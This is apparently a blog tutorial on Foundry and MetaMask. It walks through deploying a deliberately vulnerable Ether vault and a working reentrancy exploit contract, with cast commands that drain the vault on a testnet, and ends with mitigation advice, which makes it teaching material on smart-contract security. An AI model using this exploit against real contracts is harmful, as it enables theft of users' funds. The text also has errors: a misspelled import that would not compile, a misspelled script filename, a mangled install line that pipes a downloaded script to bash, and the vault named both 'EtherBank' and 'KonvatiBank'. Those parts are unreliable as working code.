Comprehensive Guide: Interacting with Deployed Smart Contracts Using Foundry and MetaMask

Blockchain development often involves not just writing smart contracts but also interacting with them post-deployment. Foundry, combined with MetaMask wallets, provides a powerful toolkit for deploying, testing, and interacting with contracts on Ethereum and its testnets. In this comprehensive guide, we’ll explore step-by-step how to:

  • Interact with an already deployed smart contract using Foundry.
  • Demonstrate how the AttackBank contract exploits EtherBank through a reentrancy attack.
  • Showcase how external wallets can deposit and withdraw funds using Foundry commands.
  • Provide tips, best practices, and additional insights for efficient smart contract development.

Understanding the Smart Contracts

1. KonvatiBank.sol

The KonvatiBank contract acts as a simple vault where users can deposit and withdraw Ether. However, it contains a reentrancy vulnerability that makes it susceptible to attacks.

Key functionalities:

  • Deposit Ether: Users can deposit funds into the contract using the depositETH() function.
  • Withdraw Ether: Users withdraw their funds using the withdrawETH() function.
// SPDX-License-Identifier: MIT
// Test by konvati


contract KonvatiBank {

    mapping(address => uint256) public balances;

    function depositETH() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawETH() public {

        uint256 balance = balances[msg.sender];

        // Send ETH 
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Withdraw failed");

        // Update Balance
        balances[msg.sender] = 0;
    }
}

2. AttackBank.sol

The AttackBank contract is designed to exploit the KonvatiBank‘s reentrancy vulnerability. By recursively calling the withdrawETH() function during a withdrawal, it drains the KonvatiBank contract of its funds.

// SPDX-License-Identifier: MIT
// test by konvati 
pragma solidity ^0.8.13;

interface IBank {
    function depositETH() external payable;
    function withdrawETH() external;
}

contract AttackBank {
    IBank public bank;
    address payable public owner;

    constructor(address _bankAddress) {
        bank = IBank(_bankAddress);
        owner = payable(msg.sender);
    }

    function attack() external payable {
        bank.depositETH{value: 0.0001 ether}();
        bank.withdrawETH();
    }

    receive() external payable {
        if (address(bank).balance >= 0.0001 ether) {
            bank.withdrawETH();
        } else {
            (bool success, ) = owner.call{value: address(this).balance}("");
            require(success, "Withdraw failed");
        }
    }
}

Deploying and Interacting with Contracts Using Foundry

Step 1: Prerequisites

Before starting, ensure you have the following:

curl -L https://foundry.paradigm.xyz | bash foundryup
  1. Foundry Installed: If Foundry isn’t already installed, set it up:
  2. curl -L https://foundry.paradigm.xyz | bash foundryup
  3. MetaMask Wallets: Set up multiple wallets for deployment, interaction, and testing. Ensure each wallet has test Ether on Sepolia or any desired testnet. Use faucets to get test Ether.
  4. Access to an RPC Endpoint: Use a service like Infura or Alchemy to get an RPC URL for Sepolia or your preferred network.

Step 2: Deploying the KonvatiBank Contract

Deploy the KonvatiBank contract using Foundry and MetaMask.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import { Script } from "forge-std/Script.sol";
import { KonavtiBank } from "../src/KonvatiBank.sol";

contract DeployKonvatiBank is Script {
    function run() external {
        vm.startBroadcast();
        KonvatiBank konvatiBank = new KonvatiBank();
        vm.stopBroadcast();
    }
}
forge script script/DeployeKonvatiBank.s.sol --rpc-url $SEPOLIA_RPC_URL --private-key YOUR-PRIVATE-KEY --broadcast
  1. Compile the Contract: forge build
  2. Deploy KonvatiBank: Use the private key of the first MetaMask account (deployer wallet): forge create KonvatiBank --rpc-url <RPC_URL> --private-key <DEPLOYER_PRIVATE_KEY> Note the deployed contract address (e.g., 0x06f2916395FD6BAAfd8252A346F44140957910e1).

Step 3: Deploying the AttackBank Contract

Deploy the AttackBank contract using the second MetaMask account. Pass the KonvatiBank address as a constructor argument.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import { Script } from "forge-std/Script.sol";
import { AttackBank } from "../src/AttackBank.sol";

contract DeployAttackBank is Script {
    function run() external {
        // Replace this with the KonvatiBank contract address
        address konvatiBankAddress = TheKonvatiBankOnChainContractAdress;

        vm.startBroadcast();
        AttackBank attackBank = new AttackBank(konvatiBankAddress);
        vm.stopBroadcast();
    }
}
forge script script/DeployAttackBank.s.sol --rpc-url $SEPOLIA_RPC_URL --private-key YOUR-PRIVATE-KEY --broadcast
  1. Compile the Contract: forge build
  2. Deploy AttackBank: forge create AttackBank --rpc-url <RPC_URL> --private-key <ATTACKER_PRIVATE_KEY> --constructor-args <KonvatiBankAddress> Replace <KonvatiBankAddress> with the address of the deployed KonvatiBank contract. Verify the AttackBank contract is linked correctly by checking the bank variable: cast call <AttackBankAddress> "bank()" --rpc-url <RPC_URL>

Interacting with EtherBank Using Foundry

1. Deposit Ether

Users can deposit Ether into the EtherBank contract using Foundry’s cast send command. For example, User 3 deposits 0.0001 ETH:

cast send <KonvatiBankAddress> "depositETH()" --value 0.0001ether --rpc-url <RPC_URL> --private-key <USER3_PRIVATE_KEY>

To confirm the deposit:

  • Check User 3’s balance in the contract: cast call <KonvatiBankAddress> "balances(address)" <User3Address> --rpc-url <RPC_URL>
  • Verify the KonvatiBank contract’s total balance: cast balance <KonvatiBankAddress> --rpc-url <RPC_URL>

2. Withdraw Ether

Users withdraw their deposited funds by calling the withdrawETH() function. For example, User 3 withdraws their funds:

cast send <KonvatiBankAddress> "withdrawETH()" --rpc-url <RPC_URL> --private-key <USER3_PRIVATE_KEY>

Verify the withdrawal:

  1. Check User 3’s Wallet Balance: cast balance <User3Address> --rpc-url <RPC_URL>
  2. Check EtherBank’s Remaining Balance: cast balance <KonvatiBankAddress> --rpc-url <RPC_URL>

Executing the Reentrancy Attack

1. Initiating the Attack

The attacker triggers the exploit by calling the attack function on the AttackBank contract. This requires sending 0.0001 ETH to start the recursion.

cast send <AttackBankAddress> "attack()" --value 0.0001ether --rpc-url <RPC_URL> --private-key <ATTACKER_PRIVATE_KEY>

2. Verifying the Attack

  1. Check EtherBank Contract Balance: Confirm that the EtherBank contract’s balance is now 0: cast balance <EtherBankAddress> --rpc-url <RPC_URL>
  2. Check AttackBank Contract Balance: Verify that the AttackBank contract holds the stolen Ether: cast balance <AttackBankAddress> --rpc-url <RPC_URL>
  3. Check Attacker Wallet Balance: Confirm that the attacker successfully drained funds: cast balance <AttackerAddress> --rpc-url <RPC_URL>

Key Lessons and Best Practices

1. Reentrancy Mitigation

Reentrancy attacks occur when a contract makes an external call before updating its internal state. To mitigate this:

  • Use Checks-Effects-Interactions Pattern: Update state variables before making external calls.
  • Implement ReentrancyGuard: Use OpenZeppelin’s ReentrancyGuard to protect functions from reentrant calls.

2. Debugging Tools

Foundry’s suite of tools simplifies debugging:

  • cast: Execute calls and send transactions directly from the command line.
  • forge: Compile, deploy, and manage contracts.
  • cast trace: Debug failed transactions with detailed stack traces.

3. Testing with Foundry

Write comprehensive tests using Foundry’s forge test framework to simulate real-world scenarios. Ensure your contract is tested against edge cases and potential exploits.


Conclusion

By combining Foundry and MetaMask wallets, developers can easily interact with deployed smart contracts, simulate real-world scenarios, and explore vulnerabilities like reentrancy. This guide demonstrated:

  1. Interactions with the EtherBank contract for deposits and withdrawals.
  2. Deployment and exploitation of the AttackBank contract.
  3. How external wallets use Foundry to interact with smart contracts.

This hands-on approach not only enhances your technical skills but also emphasizes the importance of secure smart contract development. Always test and audit your code to ensure it withstands adversarial environments.

Further Resources:

Let us know how you’re using Foundry and share your development stories! 🚀

Leave a Comment

Your email address will not be published. Required fields are marked *